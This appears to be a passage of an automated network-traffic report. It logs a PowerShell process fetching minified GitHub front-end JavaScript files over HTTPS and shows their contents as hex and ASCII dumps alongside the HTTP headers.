2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 74 2c 7b 63 68 69 6c 64 72 65 6e 3a 5b 74 3e 30 26 26 22 20 6f 72 20 22 2c 28 30 2c 72 2e 6a 73 78 29 28 75 2e 55 2c 7b 6b 65 79 73 3a 65 7d 29 5d 7d 2c 65 29 29 7d 29 5d 7d 2c 65 29 29 7d 29 5d 7d 29 7d 74 72 79 7b 6d 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 28 6d 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 53 68 6f 72 74 63 75 74 73 47 72 6f 75 70 4c 69 73 74 22 29 7d 63 61 74 63 68 7b 7d 6c 65 74 20 70 3d 7b 6b 65 79 62 6f 61 72 64 53 68 6f 72 74 63 75 74 73 3a 22 4b 65 79 62 6f 61 72 64 20 73 68 6f 72 74 63 75 74 73 22 2c 73 69 74 65 57 69 64 65 53 68 6f 72 74 63 75 74 73 3a 22 53 69 74 65 2d 77 69 64 65 20 73 68 6f 72 74 63 75 74 73 22 2c 6c 6f 61 64 69 6e 67 3a 22 4c 6f 61 64 69 6e 67 22 7d 3b 69 28 38 39 37 39 34 29 3b 76 61 72 20 66 3d 69 28 35 38 Data Ascii: t,{children:[t>0&&" or ",(0,r.jsx)(u.U,{keys:e})]},e))})]},e))})]})}try{m.displayName\|\|(m.displayName="ShortcutsGroupList")}catch{}let p={keyboardShortcuts:"Keyboard shortcuts",siteWideShortcuts:"Site-wide shortcuts",loading:"Loading"};i(89794);var f=i(58
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 65 53 68 6f 72 74 63 75 74 73 7d 2c 63 6f 6d 6d 61 6e 64 73 3a 5b 2e 2e 2e 65 2e 63 6f 6d 6d 61 6e 64 73 2c 2e 2e 2e 74 2e 66 69 6e 64 28 65 3d 3e 22 67 6c 6f 62 61 6c 22 3d 3d 3d 65 2e 73 65 72 76 69 63 65 2e 69 64 29 3f 2e 63 6f 6d 6d 61 6e 64 73 3f 3f 5b 5d 5d 2e 6d 61 70 28 65 3d 3e 28 7b 2e 2e 2e 65 2c 6b 65 79 62 69 6e 64 69 6e 67 3a 79 28 65 2e 6b 65 79 62 69 6e 64 69 6e 67 29 7d 29 29 7d 29 2c 6c 28 5b 2e 2e 2e 4f 62 6a 65 63 74 2e 76 61 6c 75 65 73 28 69 29 2c 2e 2e 2e 74 5d 2e 6d 61 70 28 65 3d 3e 28 7b 2e 2e 2e 65 2c 63 6f 6d 6d 61 6e 64 73 3a 65 2e 63 6f 6d 6d 61 6e 64 73 2e 6d 61 70 28 65 3d 3e 28 7b 2e 2e 2e 65 2c 6b 65 79 62 69 6e 64 69 6e 67 3a 79 28 65 2e 6b 65 79 62 69 6e 64 69 6e 67 29 7d 29 29 7d 29 29 29 7d 65 6c 73 65 20 6c 28 74 2e Data Ascii: eShortcuts},commands:[...e.commands,...t.find(e=>"global"===e.service.id)?.commands??[]].map(e=>({...e,keybinding:y(e.keybinding)}))}),l([...Object.values(i),...t].map(e=>({...e,commands:e.commands.map(e=>({...e,keybinding:y(e.keybinding)}))})))}else l(t.
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 2e 6b 29 28 22 6b 65 79 62 6f 61 72 64 2d 73 68 6f 72 74 63 75 74 73 2d 64 69 61 6c 6f 67 22 2c 7b 43 6f 6d 70 6f 6e 65 6e 74 3a 6b 7d 29 7d 2c 39 32 35 33 36 3a 28 65 2c 74 2c 69 29 3d 3e 7b 69 2e 64 28 74 2c 7b 52 3a 28 29 3d 3e 44 65 66 65 72 72 65 64 52 65 67 69 73 74 72 79 7d 29 3b 6c 65 74 20 44 65 66 65 72 72 65 64 52 65 67 69 73 74 72 79 3d 63 6c 61 73 73 20 44 65 66 65 72 72 65 64 52 65 67 69 73 74 72 79 7b 72 65 67 69 73 74 65 72 28 65 2c 74 29 7b 6c 65 74 20 69 3d 74 68 69 73 2e 72 65 67 69 73 74 72 61 74 69 6f 6e 45 6e 74 72 69 65 73 5b 65 5d 3b 69 3f 69 2e 72 65 73 6f 6c 76 65 3f 2e 28 74 29 3a 74 68 69 73 2e 72 65 67 69 73 74 72 61 74 69 6f 6e 45 6e 74 72 69 65 73 5b 65 5d 3d 7b 70 72 6f 6d 69 73 65 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c Data Ascii: .k)("keyboard-shortcuts-dialog",{Component:k})},92536:(e,t,i)=>{i.d(t,{R:()=>DeferredRegistry});let DeferredRegistry=class DeferredRegistry{register(e,t){let i=this.registrationEntries[e];i?i.resolve?.(t):this.registrationEntries[e]={promise:Promise.resol
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 45 6c 65 6d 65 6e 74 20 65 78 74 65 6e 64 73 20 61 2e 48 7b 61 73 79 6e 63 20 67 65 74 52 65 61 63 74 4e 6f 64 65 28 65 2c 74 29 7b 76 61 72 20 69 3b 6c 65 74 7b 43 6f 6d 70 6f 6e 65 6e 74 3a 73 7d 3d 61 77 61 69 74 20 28 69 3d 74 68 69 73 2e 6e 61 6d 65 2c 6e 2e 67 65 74 52 65 67 69 73 74 72 61 74 69 6f 6e 28 69 29 29 2c 61 3d 74 68 69 73 2e 63 6c 6f 73 65 73 74 28 22 72 65 61 63 74 2d 70 61 72 74 69 61 6c 2d 61 6e 63 68 6f 72 22 29 3b 72 65 74 75 72 6e 28 30 2c 72 2e 6a 73 78 29 28 6f 2e 63 2c 7b 70 61 72 74 69 61 6c 4e 61 6d 65 3a 74 68 69 73 2e 6e 61 6d 65 2c 65 6d 62 65 64 64 65 64 44 61 74 61 3a 65 2c 43 6f 6d 70 6f 6e 65 6e 74 3a 73 2c 77 61 73 53 65 72 76 65 72 52 65 6e 64 65 72 65 64 3a 74 68 69 73 2e 68 61 73 53 53 52 43 6f 6e 74 65 6e 74 2c 73 Data Ascii: Element extends a.H{async getReactNode(e,t){var i;let{Component:s}=await (i=this.name,n.getRegistration(i)),a=this.closest("react-partial-anchor");return(0,r.jsx)(o.c,{partialName:this.name,embeddedData:e,Component:s,wasServerRendered:this.hasSSRContent,s
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 72 76 69 63 65 49 64 28 74 29 3b 69 66 28 21 65 2e 68 61 73 28 69 29 29 7b 6c 65 74 20 74 3d 28 30 2c 73 2e 74 70 29 28 69 29 3b 65 2e 73 65 74 28 69 2c 7b 73 65 72 76 69 63 65 3a 7b 69 64 3a 74 2e 69 64 2c 6e 61 6d 65 3a 74 2e 6e 61 6d 65 7d 2c 63 6f 6d 6d 61 6e 64 73 3a 5b 5d 7d 29 7d 6c 65 74 20 6e 3d 28 30 2c 73 2e 66 4c 29 28 74 29 3b 6e 26 26 6e 2e 64 65 66 61 75 6c 74 42 69 6e 64 69 6e 67 26 26 65 2e 67 65 74 28 69 29 3f 2e 63 6f 6d 6d 61 6e 64 73 2e 70 75 73 68 28 7b 69 64 3a 74 2c 6e 61 6d 65 3a 6e 2e 6e 61 6d 65 2c 64 65 73 63 72 69 70 74 69 6f 6e 3a 6e 2e 64 65 73 63 72 69 70 74 69 6f 6e 2c 6b 65 79 62 69 6e 64 69 6e 67 3a 6e 2e 64 65 66 61 75 6c 74 42 69 6e 64 69 6e 67 7d 29 7d 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 65 2e 76 61 Data Ascii: rviceId(t);if(!e.has(i)){let t=(0,s.tp)(i);e.set(i,{service:{id:t.id,name:t.name},commands:[]})}let n=(0,s.fL)(t);n&&n.defaultBinding&&e.get(i)?.commands.push({id:t,name:n.name,description:n.description,keybinding:n.defaultBinding})}return Array.from(e.va
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 73 22 2c 22 69 74 65 6d 2d 70 69 63 6b 65 72 73 3a 6f 70 65 6e 2d 6d 69 6c 65 73 74 6f 6e 65 22 2c 22 69 74 65 6d 2d 70 69 63 6b 65 72 73 3a 6f 70 65 6e 2d 70 72 6f 6a 65 63 74 73 22 2c 22 69 74 65 6d 2d 70 69 63 6b 65 72 73 3a 6f 70 65 6e 2d 69 73 73 75 65 2d 74 79 70 65 22 2c 22 69 74 65 6d 2d 70 69 63 6b 65 72 73 3a 6f 70 65 6e 2d 61 75 74 68 6f 72 22 5d 7d 2c 22 6b 65 79 62 6f 61 72 64 2d 73 68 6f 72 74 63 75 74 73 2d 64 69 61 6c 6f 67 22 3a 7b 22 69 64 22 3a 22 6b 65 79 62 6f 61 72 64 2d 73 68 6f 72 74 63 75 74 73 2d 64 69 61 6c 6f 67 22 2c 22 6e 61 6d 65 22 3a 22 4b 65 79 62 6f 61 72 64 20 53 68 6f 72 74 63 75 74 73 20 44 69 61 6c 6f 67 22 2c 22 63 6f 6d 6d 61 6e 64 49 64 73 22 3a 5b 22 6b 65 79 62 6f 61 72 64 2d 73 68 6f 72 74 63 75 74 73 2d 64 69 Data Ascii: s","item-pickers:open-milestone","item-pickers:open-projects","item-pickers:open-issue-type","item-pickers:open-author"]},"keyboard-shortcuts-dialog":{"id":"keyboard-shortcuts-dialog","name":"Keyboard Shortcuts Dialog","commandIds":["keyboard-shortcuts-di
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 78 74 2d 72 65 73 75 6c 74 22 2c 22 70 75 6c 6c 2d 72 65 71 75 65 73 74 73 2d 64 69 66 66 2d 76 69 65 77 3a 6a 75 6d 70 2d 74 6f 2d 6e 65 78 74 2d 72 65 73 75 6c 74 2d 61 6c 74 65 72 6e 61 74 65 22 2c 22 70 75 6c 6c 2d 72 65 71 75 65 73 74 73 2d 64 69 66 66 2d 76 69 65 77 3a 6a 75 6d 70 2d 74 6f 2d 70 72 65 76 69 6f 75 73 2d 72 65 73 75 6c 74 22 2c 22 70 75 6c 6c 2d 72 65 71 75 65 73 74 73 2d 64 69 66 66 2d 76 69 65 77 3a 6a 75 6d 70 2d 74 6f 2d 70 72 65 76 69 6f 75 73 2d 72 65 73 75 6c 74 2d 61 6c 74 65 72 6e 61 74 65 22 2c 22 70 75 6c 6c 2d 72 65 71 75 65 73 74 73 2d 64 69 66 66 2d 76 69 65 77 3a 6f 70 65 6e 2d 66 69 6e 64 22 2c 22 70 75 6c 6c 2d 72 65 71 75 65 73 74 73 2d 64 69 66 66 2d 76 69 65 77 3a 63 6c 6f 73 65 2d 66 69 6e 64 22 5d 7d 2c 22 72 65 Data Ascii: xt-result","pull-requests-diff-view:jump-to-next-result-alternate","pull-requests-diff-view:jump-to-previous-result","pull-requests-diff-view:jump-to-previous-result-alternate","pull-requests-diff-view:open-find","pull-requests-diff-view:close-find"]},"re
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 6f 64 2b 53 68 69 66 74 2b 45 6e 74 65 72 22 7d 2c 22 69 73 73 75 65 2d 63 72 65 61 74 65 3a 73 75 62 6d 69 74 2d 61 6e 64 2d 63 72 65 61 74 65 2d 6d 6f 72 65 22 3a 7b 22 6e 61 6d 65 22 3a 22 53 75 62 6d 69 74 20 61 6e 64 20 63 72 65 61 74 65 20 6d 6f 72 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 75 62 6d 69 74 20 74 68 65 20 63 75 72 72 65 6e 74 20 69 73 73 75 65 20 61 6e 64 20 63 72 65 61 74 65 20 61 20 6e 65 77 20 6f 6e 65 22 2c 22 64 65 66 61 75 6c 74 42 69 6e 64 69 6e 67 22 3a 22 4d 6f 64 2b 41 6c 74 2b 45 6e 74 65 72 22 7d 2c 22 69 73 73 75 65 2d 76 69 65 77 65 72 3a 63 6c 6f 73 65 2d 65 64 69 74 2d 74 69 74 6c 65 22 3a 7b 22 6e 61 6d 65 22 3a 22 43 61 6e 63 65 6c 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 61 6e 63 65 6c 20 Data Ascii: od+Shift+Enter"},"issue-create:submit-and-create-more":{"name":"Submit and create more","description":"Submit the current issue and create a new one","defaultBinding":"Mod+Alt+Enter"},"issue-viewer:close-edit-title":{"name":"Cancel","description":"Cancel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49779	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:40 UTC	358	OUT	GET /assets/sessions-f3ddee0032e4.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:41 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 11874 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Tue, 27 Aug 2024 19:34:29 GMT ETag: "0x8DCC6CF44B47E8C" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1513172 Date: Mon, 30 Sep 2024 13:50:40 GMT X-Served-By: cache-iad-kjyo7100136-IAD, cache-ewr-kewr1740033-EWR X-Cache: HIT, HIT X-Cache-Hits: 13, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 41ad4a61489fe81304939da33f131d8519c0b1fd
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 65 73 73 69 6f 6e 73 22 5d 2c 7b 36 38 33 30 39 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 43 67 3a 28 29 3d 3e 73 2c 52 31 3a 28 29 3d 3e 64 2c 73 3a 28 29 3d 3e 75 7d 29 3b 76 61 72 20 6f 3d 6e 28 37 39 30 34 39 29 2c 72 3d 6e 28 32 31 34 30 33 29 3b 6c 65 74 20 69 3d 22 67 69 74 68 75 62 2d 6d 6f 62 69 6c 65 2d 61 75 74 68 2d 66 6c 61 73 68 22 3b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 6a 73 2d 66 6c 61 73 68 2d 63 6f 6e 74 61 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["sessions"],{68309:(e,t,n)=>{n.d(t,{Cg:()=>s,R1:()=>d,s:()=>u});var o=n(79049),r=n(21403);let i="github-mobile-auth-flash";function a(){let e=document.querySelector("#js-flash-conta
2024-09-30 13:50:41 UTC	1364	IN	Data Raw: 74 20 73 65 6c 66 2e 66 65 74 63 68 28 6e 65 77 20 52 65 71 75 65 73 74 28 72 2c 7b 6d 65 74 68 6f 64 3a 22 50 4f 53 54 22 2c 62 6f 64 79 3a 6e 65 77 20 46 6f 72 6d 44 61 74 61 28 65 29 2c 6d 6f 64 65 3a 22 73 61 6d 65 2d 6f 72 69 67 69 6e 22 2c 68 65 61 64 65 72 73 3a 7b 41 63 63 65 70 74 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 22 53 63 6f 70 65 64 2d 43 53 52 46 2d 54 6f 6b 65 6e 22 3a 74 2e 76 61 6c 75 65 2c 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 3a 22 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 7d 7d 29 29 3b 69 66 28 6e 2e 6f 6b 29 7b 6c 65 74 20 65 3d 61 77 61 69 74 20 6e 2e 6a 73 6f 6e 28 29 3b 64 3d 65 2e 73 74 61 74 75 73 2c 61 3d 65 2e 74 6f 6b 65 6e 7d 65 6c 73 65 20 64 3d 22 53 54 41 54 55 53 5f 45 52 52 4f Data Ascii: t self.fetch(new Request(r,{method:"POST",body:new FormData(e),mode:"same-origin",headers:{Accept:"application/json","Scoped-CSRF-Token":t.value,"X-Requested-With":"XMLHttpRequest"}}));if(n.ok){let e=await n.json();d=e.status,a=e.token}else d="STATUS_ERRO
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 20 75 28 29 7b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 69 73 2d 73 65 6e 74 22 29 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 69 73 2d 73 65 6e 64 69 6e 67 22 29 7d 28 30 2c 69 2e 4a 57 29 28 22 2e 6a 73 2d 73 65 6e 64 2d 61 75 74 68 2d 63 6f 64 65 22 2c 61 73 79 6e 63 28 65 2c 74 29 3d 3e 7b 6c 65 74 20 6e 3b 73 28 29 3b 74 72 79 7b 6e 3d 61 77 61 69 74 20 74 2e 74 65 78 74 28 29 7d 63 61 74 63 68 28 65 29 7b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a 73 2d 73 6d 73 2d 65 72 72 6f 72 22 29 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 65 29 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f Data Ascii: u(){document.body.classList.add("is-sent"),document.body.classList.remove("is-sending")}(0,i.JW)(".js-send-auth-code",async(e,t)=>{let n;s();try{n=await t.text()}catch(e){!function(e){e&&(document.querySelector(".js-sms-error").textContent=e),document.bo
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 6a 73 2d 74 6f 67 67 6c 65 2d 72 65 64 61 63 74 65 64 2d 6e 6f 74 65 2d 63 6f 6e 74 65 6e 74 22 29 29 65 2e 68 69 64 64 65 6e 3d 21 65 2e 68 69 64 64 65 6e 7d 29 7d 2c 32 33 32 39 31 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 6f 3d 6e 28 37 33 34 38 30 29 2c 72 3d 6e 28 32 31 34 30 33 29 3b 28 30 2c 72 2e 6c 42 29 28 22 2e 6a 73 2d 74 72 61 6e 73 66 6f 72 6d 2d 6e 6f 74 69 63 65 22 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 48 54 4d 4c 45 6c 65 6d 65 6e 74 2c 61 64 64 28 65 29 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 28 30 2c 6f 2e 4f 52 29 28 22 6f 72 67 5f 74 72 61 6e 73 66 6f 72 6d 5f 6e 6f 74 69 63 65 22 29 29 7b 6c 65 74 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 Data Ascii: mentsByClassName("js-toggle-redacted-note-content"))e.hidden=!e.hidden})},23291:(e,t,n)=>{var o=n(73480),r=n(21403);(0,r.lB)(".js-transform-notice",{constructor:HTMLElement,add(e){for(let t of(0,o.OR)("org_transform_notice")){let n=document.createElement(
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 69 2e 65 29 28 29 29 7d 7d 29 2c 28 30 2c 72 2e 6c 42 29 28 22 2e 6a 73 2d 73 75 70 70 6f 72 74 22 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 2c 61 73 79 6e 63 20 61 64 64 28 65 29 7b 28 30 2c 73 2e 6d 24 29 28 65 2c 22 74 72 75 65 22 29 7d 7d 29 2c 28 30 2c 72 2e 6c 42 29 28 22 2e 6a 73 2d 63 6f 6e 64 69 74 69 6f 6e 61 6c 2d 77 65 62 61 75 74 68 6e 2d 70 6c 61 63 65 68 6f 6c 64 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 28 29 7d 29 3b 76 61 72 20 64 3d 6e 28 31 34 37 34 30 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 6c 65 74 20 74 3d 65 2e 63 6c 6f 73 65 73 74 28 22 66 6f 72 6d 22 29 3b 69 66 28 21 74 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 6a Data Ascii: i.e)())}}),(0,r.lB)(".js-support",{constructor:HTMLInputElement,async add(e){(0,s.m$)(e,"true")}}),(0,r.lB)(".js-conditional-webauthn-placeholder",function(){l()});var d=n(14740);function m(e){let t=e.closest("form");if(!t)return;let n=t.querySelector(".j
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 6e 20 6f 66 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 7d 63 61 74 63 68 7b 72 65 74 75 72 6e 5b 5d 7d 7d 28 29 29 7b 6c 65 74 5b 6f 2c 72 5d 3d 6e 2e 74 72 69 6d 28 29 2e 73 70 6c 69 74 28 22 3d 22 29 3b 65 3d 3d 3d 6f 26 26 76 6f 69 64 20 30 21 3d 3d 72 26 26 74 2e 70 75 73 68 28 7b 6b 65 79 3a 6f 2c 76 61 6c 75 65 3a 72 7d 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 2c 6e 3d 6e 75 6c 6c 2c 6f 3d 21 31 2c 72 3d 22 6c 61 78 22 29 7b 6c 65 74 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 3b 69 66 28 6e 75 6c 6c 3d 3d 69 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 55 6e 61 62 6c 65 20 74 6f 20 67 65 74 20 64 6f 63 75 Data Ascii: n of function(){try{return document.cookie.split(";")}catch{return[]}}()){let[o,r]=n.trim().split("=");e===o&&void 0!==r&&t.push({key:o,value:r})}return t}function i(e,t,n=null,o=!1,r="lax"){let i=document.domain;if(null==i)throw Error("Unable to get docu
2024-09-30 13:50:41 UTC	1378	IN	Data Raw: 74 20 62 75 74 74 6f 6e 2e 22 29 3b 69 66 28 21 65 7c 7c 65 21 3d 3d 74 2e 66 6f 72 6d 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 54 68 65 20 73 70 65 63 69 66 69 65 64 20 65 6c 65 6d 65 6e 74 20 69 73 20 6e 6f 74 20 6f 77 6e 65 64 20 62 79 20 74 68 65 20 66 6f 72 6d 20 65 6c 65 6d 65 6e 74 2e 22 29 7d 28 65 2c 74 29 2c 28 30 2c 6f 2e 41 29 28 74 29 29 2c 72 28 65 2c 22 73 75 62 6d 69 74 22 2c 21 30 29 26 26 65 2e 73 75 62 6d 69 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 74 29 7b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 29 65 2e 63 68 65 63 6b 65 64 3d 74 3b 65 6c 73 65 20 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 Data Ascii: t button.");if(!e\|\|e!==t.form)throw Error("The specified element is not owned by the form element.")}(e,t),(0,o.A)(t)),r(e,"submit",!0)&&e.submit()}function a(e,t){if("boolean"==typeof t){if(e instanceof HTMLInputElement)e.checked=t;else throw TypeError("
2024-09-30 13:50:41 UTC	1336	IN	Data Raw: 73 75 62 6d 69 74 2d 62 75 74 74 6f 6e 2d 76 61 6c 75 65 22 29 3b 72 65 74 75 72 6e 20 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 3f 74 3a 6e 75 6c 6c 7d 6e 2e 64 28 74 2c 7b 41 3a 28 29 3d 3e 6f 2c 43 3a 28 29 3d 3e 72 7d 29 7d 2c 32 31 32 33 32 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 46 66 3a 28 29 3d 3e 75 2c 65 43 3a 28 29 3d 3e 63 2c 75 45 3a 28 29 3d 3e 73 7d 29 3b 76 61 72 20 6f 3d 6e 28 36 39 38 36 29 3b 6c 65 74 20 72 3d 21 31 2c 69 3d 6e 65 77 20 6f 2e 41 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 6c 65 74 20 74 3d 65 2e 74 61 72 67 65 74 3b 69 66 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 74 2e 6e 6f 64 65 54 79 70 65 21 3d 3d 4e 6f 64 65 2e 44 4f Data Ascii: submit-button-value");return t instanceof HTMLInputElement?t:null}n.d(t,{A:()=>o,C:()=>r})},21232:(e,t,n)=>{n.d(t,{Ff:()=>u,eC:()=>c,uE:()=>s});var o=n(6986);let r=!1,i=new o.A;function a(e){let t=e.target;if(t instanceof HTMLElement&&t.nodeType!==Node.DO
2024-09-30 13:50:41 UTC	906	IN	Data Raw: 65 64 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 3f 76 6f 69 64 20 30 3a 64 6f 63 75 6d 65 6e 74 2c 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 76 6f 69 64 20 30 3a 77 69 6e 64 6f 77 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 68 69 73 74 6f 72 79 3f 76 6f 69 64 20 30 3a 68 69 73 74 6f 72 79 2c 61 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6c 6f 63 61 74 69 6f 6e 3f 7b 70 61 74 68 6e 61 6d 65 3a 22 22 2c 6f 72 69 67 69 6e 3a 22 22 2c 73 65 61 72 63 68 3a 22 22 2c 68 61 73 68 3a 22 22 2c 68 72 65 66 3a 22 22 7d 3a 6c 6f 63 61 74 69 6f 6e 7d 2c 31 35 35 37 32 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 4b 4a 3a 28 29 3d 3e 69 2c 58 33 3a 28 29 3d 3e Data Ascii: ed"==typeof document?void 0:document,r="undefined"==typeof window?void 0:window,i="undefined"==typeof history?void 0:history,a="undefined"==typeof location?{pathname:"",origin:"",search:"",hash:"",href:""}:location},15572:(e,t,n)=>{n.d(t,{KJ:()=>i,X3:()=>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49778	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:41 UTC	450	OUT	GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-9a621ecbf672.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:41 UTC	697	IN	HTTP/1.1 200 OK Connection: close Content-Length: 14802 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 08 Aug 2024 18:12:13 GMT ETag: "0x8DCB7D5A13028DA" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2132893 Date: Mon, 30 Sep 2024 13:50:41 GMT X-Served-By: cache-iad-kcgs7200022-IAD, cache-ewr-kewr1740028-EWR X-Cache: HIT, HIT X-Cache-Hits: 1111, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 7094e6f03b3a68b62cec4ea394696a38cf5e42c0
